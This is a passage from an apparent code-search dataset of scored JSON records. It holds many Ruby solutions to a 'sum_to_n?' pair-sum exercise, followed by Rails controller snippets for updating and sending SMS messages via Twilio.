1\r\n\t\tend\r\n\t\tfalse\r\n\tend\r\nend", "title": "" }, { "docid": "989418d2f73de55e922cfc4f3c1bb2b2", "score": "0.8008514", "text": "def sum_to_n? arr, n\n arr.sort!\n arr.each do |x|\n return true if arr.include?(n-x)\n end\n return false\nend", "title": "" }, { "docid": "683769f20fde1ca2b5401a3af842bcf7", "score": "0.80020124", "text": "def sum_to_n?(arr,n)\n false if arr.length < 2\n for e in arr\n for a in arr\n return true if e+a == n and e!=a\n end\n end\n false\nend", "title": "" }, { "docid": "732e4a3c760bb74451f286eedad3183f", "score": "0.7975159", "text": "def sum_to_n? arr, n\n\tarr.combination(2) { |c| return true if c.sum == n }\n\tfalse\n\n # YOUR CODE HERE\nend", "title": "" }, { "docid": "63057fd3b849921a4df31fab2346ca5d", "score": "0.7965961", "text": "def sum_to_n?(array, int)\n unless array.empty? || array.size == 1\n array.combination(2).each do |element| # what you get here is an array of arrays with 2 elements, you just need to apply sum(n) to each and chek\n return true if sum(element) == int # say the array is [1,2,3], using your code this would produce 7, sum up all elements in a variable named sum\n end\n end\n false\nend", "title": "" }, { "docid": "f2b95f7c5f9cdf88a12f359a5ac452f4", "score": "0.7963171", "text": "def sum_eq_n?(arr, n)\r\n pos = arr.product(arr)\r\n arr == [] && n == 0 ? true : pos.count{|a, b| a+b == n} > 0\r\nend", "title": "" }, { "docid": "9a87b92321df3a18cf7694791ad8b812", "score": "0.7953854", "text": "def sum_to_n?(array, n)\n\treturn false if array.empty? or array.length == 1\n\n\th = Hash.new\n\tarray.each{|x| \n\t\tif h.key? x\n\t\t\treturn true\n\t\telse\n\t\t\th[n - x] = n\t\n\t\tend\n\t}\n\treturn false\nend", "title": "" }, { "docid": "b1d6740e4fdc9fa8f5f21a73ba20024d", "score": "0.79471844", "text": "def sum_to_n? arr, n\n arr.each_with_index do |item_1, i1|\n arr.each_with_index do |item_2, i2|\n next if i1 == i2\n return true if item_1 + item_2 == n\n end\n end\n false\nend", "title": "" }, { "docid": "613619c781473a2aec72f56bfd748db4", "score": "0.79291195", "text": "def sum_to_n?(array_int, n)\n if (array_int.size == 0)\n return false\n end\n \n i = 0\n until i == (array_int.size - 1)\n if (array_int[i] + array_int[i+1]) == n\n return true\n end\n\ti += 1\n end\n return false\nend", "title": "" }, { "docid": "7e947fec7e28a4fbe454afbee6a82681", "score": "0.7910476", "text": "def sum_to_n? arr, n\n arr.each_index do |i|\n arr.each_index do |j|\n if i == j\n next\n end\n if (arr[i] + arr[j]) == n\n return true\n end\n end\n end\n false\nend", "title": "" }, { "docid": "7bb74e46e629eeb4e11af70a1443f8c4", "score": "0.79057634", "text": "def sum_to_n?(numbers, n)\n # this method does not handle situations\n # where n = 0 and numbers is null or empty\n # the current unit tests do not test the above scenario\n numbers = [0] if (numbers.nil? || numbers.empty?)\n numbers.combination(2).any? { |a,b| (a+b) == n } \nend", "title": "" }, { "docid": "4a054df2934ac1108d12004dc559a0b0", "score": "0.7905044", "text": "def sum_to_n?(arr, n)\n return false if arr.empty? || arr.length==1\n \n arr.combination(2) { |x,y| return true if x+y == n }\n\n false\nend", "title": "" }, { "docid": "f6affe6dc8b369668b6c5d2184386a07", "score": "0.7902291", "text": "def sum_to_n?(numbers, n)\n \n is_sum_to_n = if !numbers.nil? && ( numbers.size > 1 ) \n numbers.combination(2).any? { |a,b| (a+b)==n } \n end\n \n is_sum_to_n\nend", "title": "" }, { "docid": "f9a36c3a486cea861f989efbd774d01e", "score": "0.78942806", "text": "def sum_to_n?(array, n)\n\n return false if array.empty? or array.length == 1\n array = array.sort!\n array.permutation(2).any?{ |a,b| a + b == n } \n\nend", "title": "" }, { "docid": "a60c7ef757bc8080e3399f2b26f70181", "score": "0.78793657", "text": "def sum_to_n? arr, n\n answer = false\n for i in 0...arr.length\n for j in i+1...arr.length\n if arr[i] + arr[j] == n\n answer = true\n break\n end\n end\n end\n answer\nend", "title": "" }, { "docid": "e16131936851a9c2f4f4d9e6e305266f", "score": "0.7874589", "text": "def sum_to_n?(arr_of_integers, n)\r\n\tif arr_of_integers.length == 0 || arr_of_integers.length == 1\r\n\t\tfalse\r\n\telse\r\n\t\tnew_arr = arr_of_integers.combination(2).to_a\r\n\t\tsum_of_combination = []\r\n\t\tnew_arr.each do |e|\r\n\t\t\tsum_of_combination << sum(e)\r\n\t\tend\r\n\t\tsum_of_combination.include?(n)\r\n\tend\r\nend", "title": "" }, { "docid": "42de7c93242d44e3ab79ceff8730ee2d", "score": "0.78714865", "text": "def sum_to_n? arr, n\n # YOUR CODE HERE\n if arr.empty? \n return false\n elsif arr.size == 1\n return false\n else \n return arr.permutation(2).any? { |a, b| a + b == n }\n end\nend", "title": "" }, { "docid": "3eb33d0b5591d60b7a74eaa5fe3ac61b", "score": "0.78710157", "text": "def sum_to_n?(a, n)\n\ta.combination(2).to_a.map {|element| element.reduce(:+) == n}.any? {|element| element == true}\nend", "title": "" }, { "docid": "864ad3aa401000318fa0abbfcd181651", "score": "0.7870517", "text": "def sum_to_n?(int_ary, n)\n sum_of_n = int_ary.combination(2).to_a.any? { |sub_ary| sum(sub_ary) == n }\n sum_of_n && int_ary.length > 1\nend", "title": "" }, { "docid": "20bbaf627d9f0ac594d7a38475b0c1d9", "score": "0.7855455", "text": "def sum_to_n? arr, n\n if arr.empty?\n return false\n elsif arr.length == 1\n return false\n else\n arr.each_with_index do |v,k| \n arr.each_with_index do |vi,ki|\n if ki != k\n if n == (v + vi) \n return true\n end\n end\n end\n end\n end\n return false\nend", "title": "" }, { "docid": "a0125e4ceb6176f66663f5c65eb2a243", "score": "0.78465945", "text": "def sum_to_n? arr, n\n # YOUR CODE HERE\n arr.each_with_index { |x,i| \n arr.each_with_index { |y,j| \n return true if i != j && x+y == n\n }\n }\n false\nend", "title": "" }, { "docid": "12937e749dc9cf42bf7af16e8ac8f5fe", "score": "0.7841279", "text": "def sum_to_n? arr, n\n # YOUR CODE HERE\n #กรณีที่มีสมาชิคใน Array 0 ตัว และ เลขจำนวนเต็มมีค่าเท่ากับ 0 \n if(arr.length ==0 && n==0)\n \treturn true\n\t#กรณีที่มีสมาชิคใน Array 0 ตัวหรือน้อยกว่า\n elsif(arr.length<=0)\n \treturn false\n\t#กรณีอื่นๆ\n else\n #ทำการตัวหาผลบวกของสมาชิคใน Array 2 ตัว ที่ได้ผลลัพธ์เท่ากับเลขจำนวนเต็ม n\n \ti=0\n \twhile(i<arr.length-1)\n \t\tj=i+1\n \t\twhile(j<arr.length)\n \t\t\t\tsum = arr[i]+arr[j]\n\t\t\t\t#เมื่อพบให้ทำการส่งค่า true จบการทำงาน\n \t\t\t\tif(n == sum)\n \t\t\t\t\treturn true\n \t\t\t\tend\n \t\t\t\tj=j+1\n \t\tend\n \t\ti = i+1\n \tend\n\t#ถ้าไม่พบให้ทำการส่งค่า false จบการทำงาน\n \treturn false\n end\nend", "title": "" }, { "docid": "d39eeded35de4b04c626330b7c12b37e", "score": "0.78275615", "text": "def sum_to_n?(arr, n)\r\n sum_n=FALSE\r\n \r\n if (arr.empty? && n==0)\r\n \t sum_n=TRUE\r\n else\r\n\t arr.combination(2) { |x,y| if x+y == n\r\n\t\t\t\t\t\tsum_n=TRUE\r\n\t\t\t\t\t\tbreak\r\n\t\t\t\t\t end\r\n\t\t\t\t }\r\n end\r\n \r\n sum_n\r\nend", "title": "" }, { "docid": "11c55b4eaca4ab12cc8287fb3e334b40", "score": "0.78249484", "text": "def sum_to_n? (int_array, n)\n i = 0\n j = int_array.length - 1\n\n # empty array\n if j == -1 \n return n == 0\n end\n\n int_array.sort!\n count = 0\n while i < j do\n sum = int_array.at(i) + int_array.at(j)\n if sum == n\n if count == 1\n return false\n else\n count += 1\n i += 1\n j -= 1\n end\n elsif sum > n\n j -= 1\n else\n i += 1\n end\n end\n count == 1\nend", "title": "" }, { "docid": "16cba1aaac1a62adeb6883c2f2df309a", "score": "0.7822413", "text": "def sum_to_n? arr, n\n # YOUR CODE HERE\n arr=arr.select{|e| e<=n}\n arr.each_with_index do |a,i|\n arr[i+1..(arr.length-1)].each do |b|\n return true if a+b==n\n end\n end\n false\nend", "title": "" }, { "docid": "50027d302b71a56f78a039f90974d148", "score": "0.7783383", "text": "def sum_to_n? arr, n\n arr.sort!\n arr.each{\n |i|\n if (arr.index(n-i) != nil && ((n-i) != i || arr.count(i) > 1))\n return true\n end\n }\n return false\nend", "title": "" }, { "docid": "3b051102821f680ea35eb339bab8be2f", "score": "0.7766791", "text": "def sum_to_n?(a, num)\n return false if a.nil? || a.length == 1 || num.nil? || !num.is_a?(Integer)\n\n for i in 0...a.length do\n return false if !a[i].is_a?(Integer)\n\tfor j in 0...a.length do\n\t return true if j != i and a[j] + a[i] == num\n\tend\n end\n false\nend", "title": "" }, { "docid": "5ba263d0d61e778d44ebede03e326fb9", "score": "0.77617085", "text": "def sum_to_n?(arr, n)\n return false if arr.empty? or arr.count == 1\n combs = arr.combination(2).to_a\n # puts 'arr.combination(2).to_a= ' + combs.join(',').to_s\n # puts 'found ' + n.to_s + '? ' + ((combs.find { |e| e.reduce( :+ ) == n }) != nil).to_s\n\n # return true if sum of any = n\n combs.find { |e| e.reduce( :+ ) == n } != nil\nend", "title": "" }, { "docid": "243f07620f08e22fb1e9821a58a8ab68", "score": "0.775734", "text": "def sum_to_n? arr, n\n i=0\n while i <arr.length\n j=i+1\n while j<arr.length\n if arr[i]+arr[j] == n\n return true\n end\n j+=1\n end\n i+=1\n end\n return false\nend", "title": "" }, { "docid": "ef30ac0b0b7e67dad7e490326c55436c", "score": "0.7719952", "text": "def sum_to_n? arr, n\n two_sum_to_n = false\n for i in 0...arr.length\n for k in 0...arr.length\n two_sum_to_n = true if (arr[k] + arr[i] == n && k != i)\n end\n end\n return two_sum_to_n\nend", "title": "" }, { "docid": "fe6995b5a10aa91b745f272c1381b388", "score": "0.7705831", "text": "def sum_to_n?(array, n)\n return false if array.empty?\n return false if array.length == 1\n i = 0\n j = 0\n while i < array.length\n while j < array.length\n if i != j\n if array[i]+array[j] == n\n # puts i.to_s + \" \" + j.to_s + \" \" + n.to_s\n return true\n end\n end\n j += 1\n end\n i += 1\n j = 0\n end\n return false\nend", "title": "" }, { "docid": "6501fbf89a52958e23fd5fa174ebc2f9", "score": "0.77012485", "text": "def sum_to_n? arr, n\n\n if arr.permutation(2).any? { |a, b| a + b == n }\n return true\n else\n return false\n end\n \nend", "title": "" }, { "docid": "4d82b793aa75ab24fdd11e17e28e04c5", "score": "0.76856565", "text": "def sum_to_n? arr, n\n arr2 = arr.combination(2) #Creates every possible combination of 2 elements\n ans = false\n #Iterate over each combination to check its equality to n\n arr2.each do |arr1| \n sum = arr1.inject(0,:+)\n if sum == n\n ans = true \n break\n end\n end\n ans\nend", "title": "" }, { "docid": "a07168ae6894ac78a91007f0088f2242", "score": "0.76320934", "text": "def sum_to_n?(array,n)\n array.permutation(2).each do |a,b|\n if a + b == n\n return true\n end\n end\n return false\nend", "title": "" }, { "docid": "8c32b8b5a8fb1726a47b898992c9f1e0", "score": "0.76258796", "text": "def sum_to_n?(intArray, n)\n if intArray.empty? || intArray.length == 1 \n \treturn false\n end\n\n #there is prolly a better way to do this in Ruby, but for now a nested loop seems the way forward\n intArray.each do |i| \t\n \tintArray.each do |j|\n \t if i == j ;next;end\t\n \t sum = i + j\n if sum == n\n \t #puts \"#{i} + #{j} = #{sum} = #{n}\"\n return true \n end\n \tend\n end\n\n return false\nend", "title": "" }, { "docid": "0ad215fb6448b546be7430b020606f6d", "score": "0.76110107", "text": "def sum_to_n? arr, n\n \tif arr.empty? or arr.size==1\n\t\treturn false\n\tend\n\tm = Hash.new\n\tfor i in 0...arr.size\n\t\tremain = n - arr[i]\n\t\tif (m.include?(remain))\n\t\t\treturn true\n\t\tend\n\t\tm[arr[i]] = i\n\tend\n\treturn false\nend", "title": "" }, { "docid": "805f1d9ea69dd3e1c5903d4e8763679b", "score": "0.75938165", "text": "def sum_to_n?(array, n)\n\traise ArgumentError, \"Not an Array\" if !array.kind_of?(Array)\n\n\tif array.empty? || array.length == 1\n\t\treturn false\n\telse\n\t\t# return true \n\t\tnew_array = array.map {|item| n - item}\n\t\tputs \"this is new array #{new_array}\"\n\n\t\tintersection = array & new_array\n\t\tputs \"this is the intersection of the two arrays: #{intersection}\"\n\t\tif intersection.length == 0\n\t\t\treturn false # empty array meaning to intersection maps between x_sub_i array and n - x_sub_i array\n\t\telsif intersection.length == 1 && array.select {|element| element == intersection[0]}.length > array.select {|element| element == intersection[0]}.uniq.length\n\t\t\treturn true #one match or intersection.length == 1 meaning there was a n/2 element and next conditional checks if n/2 element has pair\n\t\telsif intersection.length >1\n\t\t\treturn true # an intersection more than one guarantees more than one unique element therefore guarantees a potential pair\n\t\telse\n\t\t\t return false\n\n\t\tend\n\t\t# array.each do |item|\n\t\t# \tif n - item == item\n\t\t# \t\treturn false unless array.find_all {|element| element == item}.length > 1\n\t\t# \telse \n\t\t# \t\treturn true if !new_array.find_all {|match| match == item}.empty?\n\t\t# \tend\n\t\t# end\n\t\t# \tputs \"this is item: #{item}\"\n\t\t# \tvalid_pairs = array.select {|element| (item + element) == n}\n\t\t# \tputs \"this is valid_pairs #{valid_pairs}\"\n\t\t# end\n\tend\nend", "title": "" }, { "docid": "450794d90053490e30414bc32b381be0", "score": "0.7586405", "text": "def sum_to_n? arr, n\n # YOUR CODE HERE\n i=0\n while i<arr.length do\n ele = arr.pop\n diff = n - ele\n if arr.member?diff\n return true\n end\n i+=1\n end\n return false\nend", "title": "" }, { "docid": "4ebf9ee02700a103c645cbab64cccb4e", "score": "0.7581222", "text": "def sum_to_n? (arr, n, i = 0, j = arr.length-1)\n if (i == 0 && j == arr.length-1)\n arr = arr.sort\n end\n\n if (i >= j)\n return false;\n elsif (arr[i] + arr[j] < n)\n return sum_to_n?(arr, n, i+1, j);\n elsif (arr[i] + arr[j] > n)\n return sum_to_n?(arr, n, i, j-1);\n else\n return true;\n end\nend", "title": "" }, { "docid": "4d33f0700b9910791a731097c274ecb0", "score": "0.7532917", "text": "def sum_to_n?(integers,i)\n\tif integers.empty? or integers.length==1\n\t\tfalse\n\telse\n\t\tintegers.uniq.combination(2).any? {|x| x.reduce(:+) == i}\n\tend\nend", "title": "" }, { "docid": "ad18ab56cb730b3d85706943a5301f24", "score": "0.74670964", "text": "def sum_to_n?(arr, n)\n arr.permutation(2) do |i, j|\n if i + j == n \n return true\n end\n end\n false\nend", "title": "" }, { "docid": "fc143128ae7d6a2d2e7c1c7d28221fe3", "score": "0.746093", "text": "def sum_to_n? arr, n\n return n == 0 if arr.empty?\n return false if arr.length == 1\n \n lfound = false\n arr.combination(2).each do |pair|\n if pair[0]+pair[1] == n\n lfound = true\n break\n end\n end\n \n return lfound\nend", "title": "" }, { "docid": "88dc7dc8fd0a53c310b563369f5de44d", "score": "0.7385525", "text": "def sum_to_n?(array,n)\n sum = 0\n if array.empty? then return false end\n newarray = array.permutation(2).to_a\n newarray.each do |arr|\n sum = 0\n arr.each do |arr1|\n sum += arr1\n if sum == n then return true\n end\n end\n end\n false\nend", "title": "" }, { "docid": "49f07a29def806c6bb30ff0c40a23e02", "score": "0.7374949", "text": "def sum_to_n?(a, n)\n\treturn false if a.empty? or a.length == 1\n\n\th = Hash.new\n\ta.each{|x| \n\t\tif h.key? x\n\t\t\treturn true\n\t\telse\n\t\t\th[n - x] = n\t\n\t\tend\n\t}\n\treturn false\nend", "title": "" }, { "docid": "d7306283618d10cad89ff20016927112", "score": "0.73483837", "text": "def sum_to_n?(integers, sum)\n return false if integers.length <= 1\n integers.uniq.combination(2).map{ |pair| pair.reduce(:+) }.include?(sum)\nend", "title": "" }, { "docid": "edfb807db3608dd5199114e12b2c3c01", "score": "0.73358476", "text": "def sum_to_n? arr, n\n hash = Hash.new()\n for x in arr\n if hash[n-x] != nil then\n return true\n end\n hash[x]=true\n end\n return false\nend", "title": "" }, { "docid": "8c73d3f2c0229a69e58d4e5808c910ed", "score": "0.73073035", "text": "def sum_to_n? elements, total\n if elements.empty?\n return false\n else\n elements.combination(2).to_a.each do |pair|\n return true if sum(pair) == total\n end\n end\n\n return false\nend", "title": "" }, { "docid": "2f08d702aefb73e1d1602d89daec0b38", "score": "0.7304792", "text": "def sum_to_n? (arr,n)\n \n a2 = arr.combination(2).to_a\n answer = false #this is not static so value will be changed from forEach loop\n a2.each do |sub_array| \n \n if sub_array[0] + sub_array[1] == n\n answer = true\n end\n end\n \n return answer\nend", "title": "" }, { "docid": "96c43a8723dbcabd53c8ea4b127b4a80", "score": "0.72795993", "text": "def sum_to_n?(numbers,value)\n return true if numbers.empty? and value==0\n return false if numbers.empty? and value!=0\n numbers.combination(2).to_a.any? { |x,y| x+y==value }\nend", "title": "" }, { "docid": "7c36aed82707b0d81811d82a48324a6b", "score": "0.72293484", "text": "def sum_to_n?(input,target)\n \n # check if we have [],0 which would be true since an empty array sums to 0\n if(input.length == 0 and target ==0 )\n return true\n end\n \n # for each element check if we have the target-element and return true\n input.each {|elem| \n if(input.include? target-elem)\n return true\n end\n }\n return false\nend", "title": "" }, { "docid": "c38b330a21cf5eb13e27d6860dc7916f", "score": "0.71734655", "text": "def n_sum?(arr, n, target_sum)\n\n level_sums = Array.new(n) {Set.new}\n\n arr.each do |el|\n (n-2).downto(0) do |idx|\n level_sums[idx+1] += Set.new(level_sums[idx].map{|member| member+el})\n end\n level_sums[0] += Set.new([el])\n end\n return level_sums.last.include?(target_sum)\n\nend", "title": "" }, { "docid": "dfcfbc72cb63ac1cba3cbfc1cae88fac", "score": "0.7135496", "text": "def sum_to_n? arr, n\n # YOUR CODE HERE\n unless arr.length > 1\n return false\n end\n h=Hash.new\n arr.each{|a|\n if h.key? a \n return true else h[n-a] = n end}\n return false\nend", "title": "" }, { "docid": "116ef9dad35ba5d752085899b3cdf824", "score": "0.7122773", "text": "def is_sum(num_arr, sum)\n\nend", "title": "" }, { "docid": "248c74c75aa48ed1dbbb98dccde65b86", "score": "0.70435166", "text": "def sum_of_array_elements?(number, array)\n sum_i = 0\n array.length.times do\n if array.include? (number - array[sum_i])\n return true\n end\n sum_i += 1\n end\n return false\nend", "title": "" } ]
20b7a3bcf92b4bf7558016aa45ab1eec
PUT /sms/1 PUT /sms/1.json
[ { "docid": "86916a47f3247309234b675c9ec582a1", "score": "0.7446895", "text": "def update\n @sms = Sms.find(params[:id])\n\n respond_to do |format|\n if @sms.update_attributes(params[:sms])\n format.html { redirect_to @sms, notice: 'Sms was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @sms.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
[ { "docid": "78477580f857e49aa8d546bc1955e53b", "score": "0.7031381", "text": "def update\n @sms = Sm.find(params[:id])\n\n respond_to do |format|\n if @sms.update_attributes(params[:sm])\n format.html { redirect_to @sms, notice: 'Sm was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @sms.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "18aa9f274c8fb7ae90f091f8d7f3ec00", "score": "0.68613696", "text": "def update\n @sms_request = SmsRequest.find(params[:id])\n\n respond_to do |format|\n if @sms_request.update_attributes(params[:sms_request])\n format.html { redirect_to @sms_request, notice: 'Sms request was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @sms_request.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6cdceae4726c4b0a77674b3849a2e972", "score": "0.68554974", "text": "def update\n @smsmessage = Smsmessage.find(params[:id])\n\n respond_to do |format|\n if @smsmessage.update_attributes(params[:smsmessage])\n format.html { redirect_to @smsmessage, notice: 'Smsmessage was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @smsmessage.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c8540e0a42f44a9270ddca693bbe59b1", "score": "0.68429583", "text": "def update\n\t \tif @sms_send.update(sms_send_params)\n\t \t\trespond_to do |format|\n\t \tformat.json {\n\t \t render json: {status:0, msg:\"success\"}\n\t \t}\n\t end\n\t else\n\t \trespond_to do |format|\n\t\t format.json {\n\t\t render json: {status:-1, msg:\"fail\"}\n\t\t }\n\t\t end \n\t end\n end", "title": "" }, { "docid": "b216fe2b95ba9ca60d3517ff55cc88d0", "score": "0.6806245", "text": "def update\n\n # Find the message by SID\n @message = V1::Activity.find_by message_sid: twilio_params[:MessageSid]\n\n # Update the status\n @message.update( sms_status: twilio_params[:SmsStatus] )\n\n render status: :ok\n end", "title": "" }, { "docid": "c6a17bd792d5728c48967dfe861c92ee", "score": "0.6752476", "text": "def update\n @sms_message = SmsMessage.find(params[:id])\n respond_to do |format|\n if @sms_message.update(sms_message_params)\n format.html { redirect_to sms_messages_path, notice: 'SmsMessage was successfully updated.' }\n format.json { render :show, status: :ok, location: @sms_message }\n else\n format.html { render :edit }\n format.json { render json: @sms_message.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "cdc462435dc129367866ae5682c333f4", "score": "0.6680381", "text": "def update\n respond_to do |format|\n if @sms_message.update(sms_message_params)\n format.html { redirect_to @sms_message, notice: 'Sms message was successfully updated.' }\n format.json { render :show, status: :ok, location: @sms_message }\n else\n format.html { render :edit }\n format.json { render json: @sms_message.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3f0acd4fc7cc91279ff4ebb6614b0feb", "score": "0.6672461", "text": "def update\n respond_to do |format|\n if @smsmsg.update(smsmsg_params)\n format.html { redirect_to @smsmsg, notice: 'Smsmsg was successfully updated.' }\n format.json { render :show, status: :ok, location: @smsmsg }\n else\n format.html { render :edit }\n format.json { render json: @smsmsg.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4c99cc1140df91d9f4ce349422f94126", "score": "0.6646332", "text": "def update\n respond_to do |format|\n if @smsrequest.update(smsrequest_params)\n format.html { redirect_to @smsrequest, notice: 'Smsrequest was successfully updated.' }\n format.json { render :show, status: :ok, location: @smsrequest }\n else\n format.html { render :edit }\n format.json { render json: @smsrequest.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d45bb53324b354fca138ba7630ae74c2", "score": "0.65826756", "text": "def update\n respond_to do |format|\n if @sms_text.update(sms_text_params)\n format.html { redirect_to @sms_text, notice: 'Sms text was successfully updated.' }\n format.json { render :show, status: :ok, location: @sms_text }\n else\n format.html { render :edit }\n format.json { render json: @sms_text.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "de404093c802318e3593a0d8d9b9007a", "score": "0.65123457", "text": "def update\n respond_to do |format|\n if @smsreceived.update(smsreceived_params)\n format.html { redirect_to @smsreceived, notice: 'Smsreceived was successfully updated.' }\n format.json { render :show, status: :ok, location: @smsreceived }\n else\n format.html { render :edit }\n format.json { render json: @smsreceived.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6e3216a508fc3bfe2c7efa5a7419bc35", "score": "0.6422133", "text": "def sms_update\n # find notification through external id\n notif = Notification.find_by(sms_notification_external_id: required_params[:id])\n # log external id if notification doesn't exist\n return log_error(required_params[:notification_type]) unless notif\n\n # update notification if it exists\n notif.update!(sms_notification_status: params[:status])\n render json: { message: \"SMS notification successfully updated: ID \" + required_params[:id] }\n end", "title": "" }, { "docid": "9045e9472d61f05b75e752e1e8493eca", "score": "0.6421271", "text": "def update\n @sms_client = SmsClient.find(params[:id])\n\n respond_to do |format|\n if @sms_client.update_attributes(params[:sms_client])\n format.html { redirect_to @sms_client, notice: 'Sms client was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @sms_client.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "aab3dd56b0fa25228d3eb024000bf91d", "score": "0.6386046", "text": "def get_single_sms(sms_id)\n request :get,\n \"/v3/sms/#{sms_id}.json\"\n end", "title": "" }, { "docid": "f578a44e224a5a5f860b8f032ff714e1", "score": "0.63397014", "text": "def create\n @sms = Sms.new(params[:sms])\n\n respond_to do |format|\n if @sms.save\n format.html { redirect_to @sms, notice: 'Sms was successfully created.' }\n format.json { render json: @sms, status: :created, location: @sms }\n else\n format.html { render action: \"new\" }\n format.json { render json: @sms.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "028bc76b1fec55cf64157a0b6c17193c", "score": "0.633332", "text": "def create\n @sms = Sm.new(params[:sm])\n\n respond_to do |format|\n if @sms.save\n @twilio_client.account.sms.messages.create(\n :from => \"+4915705008633\",\n :to =>@sms.number, \n :body => @sms.text)\n format.html { redirect_to sms_url, notice: 'Sm was successfully created.' }\n format.json { render json: @sms, status: :created, location: @sms }\n else\n format.html { render action: \"new\" }\n format.json { render json: @sms.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5ccc9923db8cf28bf361376d79935250", "score": "0.63264006", "text": "def set_sms_message\n @sms_message = SmsMessage.find(params[:id])\n end", "title": "" }, { "docid": "760881ceaf91f5f8ef8dd802db0fd12e", "score": "0.6289334", "text": "def update\n @sm = Sm.find_by_id_and_account_id(params[:id], session[:account_id])\n\n respond_to do |format|\n if @sm.nil?\n flash[:error] = 'Sms nao encontrado para esta conta.'\n format.html { redirect_to :action=>'index'}\n else\n if @sm.update_attributes(params[:sm])\n Rails.logger.add_metadata({:user_id =>current_user.id,\n :acoes=>\"<em>alterado o sms de id #{@sm.id}</em>\",\n :ipvalue=>request.remote_ip, :time=>Time.now}) if Rails.logger.respond_to?(:add_metadata)\n \n action_rep = get_action(params[:sub], @sm.id)\n flash[:success] = 'Sms alterado com sucesso!'\n format.html { redirect_to :action=>action_rep}\n format.json { head :no_content }\n else\n format.html { render action: \"edit\", error: 'Sms was not updated' }\n format.json { render json: @sm.errors, status: :unprocessable_entity }\n end\n end\n end\n end", "title": "" }, { "docid": "9f522e3998cb2bf3bf9a6fe6edd04dd8", "score": "0.62774897", "text": "def set_smsrequest\n @smsrequest = Smsrequest.find(params[:id])\n end", "title": "" }, { "docid": "6d549d27f65f240bc9ac915ce464b9b2", "score": "0.6260803", "text": "def set_sms_message\n # @sms_message = SmsMessage.find(params[:id])\n @sms_message = @unit.sms_messages.where(id: params[:id]).first!\n end", "title": "" }, { "docid": "f27795798b8a4fd6dfab4bc940d62e81", "score": "0.6258967", "text": "def send_sms body, number\n\tTWILIO_CLIENT.api.account.messages.create(\n from: TWILIO_NUMBER,\n to: number,\n body: body\n ) \nend", "title": "" }, { "docid": "f5d00de59cefca373639ac01118c6672", "score": "0.6238928", "text": "def send_sms\n client = Client.find_by_id(params[:client_id])\n touch = client.touches.create({message: params[:message_content], outgoing: true, read: true})\n\n # Twilio credentials:\n account_sid = ENV[\"TWILIO_ACCOUNT_ID\"]\n auth_token = ENV[\"TWILIO_AUTH_TOKEN\"] \n\n # set up a client to talk to the Twilio REST API \n @twilio = Twilio::REST::Client.new(account_sid, auth_token) \n \n # Sending an SMS:\n @twilio.account.messages.create(\n :from => client.business.business_phone, \n :to => client.phone_number, \n :body => touch.message\n )\n\n redirect_to \"/dashboard/business/current_thread/#{client.id}\"\n \n end", "title": "" }, { "docid": "7045a02585d3f69e03d6303d38c03d47", "score": "0.6228444", "text": "def get_sms (message_id = nil, opts={})\n query_param_keys = [:message_id]\n headerParams = {}\n\n \n \n # set default values and merge with input\n options = {\n :'message_id' => message_id\n \n }.merge(opts)\n\n #resource path\n path = \"/get-sms.json\".sub('{format}','json')\n \n # pull querystring keys from options\n queryopts = options.select do |key,value|\n query_param_keys.include? key\n end\n\n # header parameters\n headers = {}\n\n _header_accept = 'application/json'\n if _header_accept != ''\n headerParams['Accept'] = _header_accept\n end \n _header_content_type = ['application/x-www-form-urlencoded']\n headerParams['Content-Type'] = _header_content_type.length > 0 ? _header_content_type[0] : 'application/json'\n\n \n \n headers[:'Authorization'] = @api_key_secret\n\n # http body (model)\n post_body = nil\n \n # form parameters\n form_parameter_hash = {}\n \n \n \n Swagger::Request.new(:GET, path, {:params=>queryopts,:headers=>headers, :body=>post_body, :form_params => form_parameter_hash }).make\n \n \n end", "title": "" }, { "docid": "59e1c8ac7db7b1e81d8e8125fcdfe7bb", "score": "0.6214671", "text": "def set_smsmsg\n @smsmsg = Smsmsg.find(params[:id])\n end", "title": "" }, { "docid": "df56ce8f4b0e1988b2fc4d9634fa5732", "score": "0.6206199", "text": "def update\n @sms_lingo = SmsLingo.find(params[:id])\n\n respond_to do |format|\n if @sms_lingo.update_attributes(params[:sms_lingo])\n format.html { redirect_to @sms_lingo, notice: 'Sms lingo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @sms_lingo.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9e6048aee254b9fe455dcceab8c5fecf", "score": "0.61896807", "text": "def update\n @sms_log = SmsLog.find(params[:id])\n\n respond_to do |format|\n if @sms_log.update_attributes(params[:sms_log])\n format.html { redirect_to @sms_log, notice: 'Sms log was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @sms_log.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1429713824eca023753638cf411b8596", "score": "0.6182656", "text": "def send_sms\n @user = self.user\n @user.phone.slice!(0)\n @user_phone = \"\"\n @host = User.find(self.user_id)\n client = Twilio::REST::Client.new(ENV['ACCOUNT_SID'], ENV['AUTH_TOKEN'])\n from = ''\n to = @user_phone\n client.messages.create(\n from: from,\n to: to,\n body: \"Votre réservation a bien été prise en compte. Vous serez informé dès que #{@host.first_name}aura accepté votre 